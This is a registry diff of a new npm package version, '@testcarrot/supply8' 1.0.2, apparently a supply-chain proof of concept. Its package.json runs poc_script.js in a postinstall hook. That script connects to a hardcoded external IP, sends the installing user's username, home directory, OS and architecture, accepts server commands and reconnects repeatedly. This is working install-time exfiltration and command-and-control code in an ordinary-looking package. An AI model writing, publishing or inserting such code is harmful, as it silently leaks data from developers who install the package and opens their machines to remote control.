@testcarrot/supply8 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/package.json +13 -0
  2. package/poc.sh +7 -0
  3. package/poc_script.js +140 -0
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@testcarrot/supply8",
3
+ "version": "1.0.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node poc_script.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC"
13
+ }
package/poc.sh ADDED
@@ -0,0 +1,7 @@
1
+ #!/bin/bash
2
+
3
+ # 이 스크립트가 실행되었음을 터미널에 알림
4
+ echo "[+] POC Shell Script: Successfully downloaded and executed."
5
+
6
+ # 실행되었다는 로그 파일을 남김
7
+ echo "This file was created by the downloaded poc.sh at $(date)" > poc_shell_executed.log
package/poc_script.js ADDED
@@ -0,0 +1,140 @@
1
+ // Node.js 기본 내장 모듈을 불러옵니다. 이 모듈들은 별도의 설치가 필요 없습니다.
2
+ const os = require('os');
3
+ const net = require('net');
4
+ const fs = require('fs'); // 파일 시스템 모듈, 파일 수신 기능을 위해 유지합니다.
5
+
6
+ // --- 설정 ---
7
+ // 서버 주소와 포트를 명확한 변수로 관리합니다.
8
+ // 주석에 있던 IP 주소를 직접 사용하도록 수정했습니다.
9
+ const SERVER_HOST = '8.152.163.60';
10
+ const SERVER_PORT = 15000;
11
+ const RECONNECT_MIN_INTERVAL = 60000; // 최소 재연결 시도 시간 (1분)
12
+ const RECONNECT_MAX_INTERVAL = 300000; // 최대 재연결 시도 시간 (5분)
13
+
14
+ // --- 상태 변수 ---
15
+ let client; // 클라이언트 소켓 객체를 저장할 변수
16
+ let isReconnecting = false; // 재연결 시도 중복을 방지하기 위한 플래그
17
+
18
+ /**
19
+ * 서버에 연결을 시도하는 메인 함수입니다.
20
+ */
21
+ function connectToServer() {
22
+ // 이미 연결 중이거나 재연결 중이면 새로운 연결을 시도하지 않습니다.
23
+ if (client && (client.connecting || !client.destroyed)) {
24
+ console.log('이미 연결이 진행 중이거나 활성화 상태입니다.');
25
+ return;
26
+ }
27
+
28
+ console.log(`서버에 연결을 시도합니다... (${SERVER_HOST}:${SERVER_PORT})`);
29
+ isReconnecting = false;
30
+
31
+ client = new net.Socket();
32
+
33
+ // 서버에 성공적으로 연결되었을 때 실행될 이벤트 핸들러
34
+ client.on('connect', () => {
35
+ console.log(`✅ 서버에 성공적으로 연결되었습니다.`);
36
+ // 연결 성공 후, 운영체제 정보와 사용자 정보를 서버로 전송합니다.
37
+ sendSystemInfo();
38
+ });
39
+
40
+ // 서버로부터 데이터를 수신했을 때 실행될 이벤트 핸들러
41
+ // 이 부분이 기존 코드에 누락되어 있었습니다.
42
+ client.on('data', (data) => {
43
+ const message = data.toString().trim();
44
+ console.log(`[서버로부터 메시지 수신]: ${message}`);
45
+ // 여기서 서버가 보낸 명령어를 처리하는 로직을 추가할 수 있습니다.
46
+ // 예: 파일 전송 시작, 특정 명령어 실행 등
47
+ handleServerCommand(message);
48
+ });
49
+
50
+ // 연결이 종료되었을 때 실행될 이벤트 핸들러
51
+ client.on('close', () => {
52
+ console.log('🔌 서버와의 연결이 끊어졌습니다.');
53
+ reconnect(); // 연결이 끊어지면 재연결을 시도합니다.
54
+ });
55
+
56
+ // 에러가 발생했을 때 실행될 이벤트 핸들러
57
+ client.on('error', (err) => {
58
+ console.error(`- 에러 발생: ${err.message}`);
59
+ // 소켓을 안전하게 파괴하고 재연결을 시도합니다.
60
+ client.destroy();
61
+ reconnect();
62
+ });
63
+
64
+ // 설정한 호스트와 포트로 연결을 시작합니다.
65
+ client.connect(SERVER_PORT, SERVER_HOST);
66
+ }
67
+
68
+ /**
69
+ * 서버로부터 받은 명령을 처리하는 함수입니다.
70
+ * @param {string} command 서버로부터 받은 명령어 문자열
71
+ */
72
+ function handleServerCommand(command) {
73
+ // 예시: 'ECHO: Hello' 라는 명령을 받으면 'Hello'를 다시 서버로 보냄
74
+ if (command.startsWith('ECHO:')) {
75
+ const textToSend = command.substring(5).trim();
76
+ sendToServer(`[ECHO 응답]: ${textToSend}`);
77
+ }
78
+ // 여기에 다른 서버 명령어 (예: 파일 다운로드 시작 등) 처리 로직을 추가할 수 있습니다.
79
+ }
80
+
81
+
82
+ /**
83
+ * 서버로 데이터를 전송하는 함수입니다.
84
+ * @param {string} data 전송할 데이터
85
+ */
86
+ function sendToServer(data) {
87
+ if (client && client.writable) {
88
+ client.write(data + '\n', 'utf8', (err) => {
89
+ if (err) {
90
+ console.error(`데이터 전송 중 오류 발생: ${err.message}`);
91
+ } else {
92
+ console.log(`[데이터 전송 완료]: ${data}`);
93
+ }
94
+ });
95
+ } else {
96
+ console.error('클라이언트가 연결되어 있지 않아 데이터를 보낼 수 없습니다.');
97
+ }
98
+ }
99
+
100
+ /**
101
+ * 시스템 및 사용자 정보를 수집하여 서버로 전송합니다.
102
+ */
103
+ function sendSystemInfo() {
104
+ const userInfo = os.userInfo();
105
+ const systemArch = os.arch();
106
+ const systemType = os.platform();
107
+
108
+ const infoPayload = {
109
+ type: 'systemInfo',
110
+ payload: {
111
+ os: systemType,
112
+ arch: systemArch,
113
+ username: userInfo.username,
114
+ homedir: userInfo.homedir
115
+ }
116
+ };
117
+
118
+ sendToServer(JSON.stringify(infoPayload));
119
+ }
120
+
121
+ /**
122
+ * 서버에 재연결을 시도합니다.
123
+ */
124
+ function reconnect() {
125
+ // 재연결 시도가 이미 예약되어 있다면 중복 실행을 방지합니다.
126
+ if (isReconnecting) return;
127
+ isReconnecting = true;
128
+
129
+ // 1분에서 5분 사이의 랜덤한 시간 이후에 재연결을 시도합니다.
130
+ const retryInterval = Math.floor(Math.random() * (RECONNECT_MAX_INTERVAL - RECONNECT_MIN_INTERVAL + 1)) + RECONNECT_MIN_INTERVAL;
131
+ console.log(`약 ${(retryInterval / 1000 / 60).toFixed(1)}분 후에 재연결을 시도합니다...`);
132
+
133
+ setTimeout(() => {
134
+ console.log('재연결 시도...');
135
+ connectToServer();
136
+ }, retryInterval);
137
+ }
138
+
139
+ // 스크립트 시작 시, 서버에 첫 연결을 시도합니다.
140
+ connectToServer();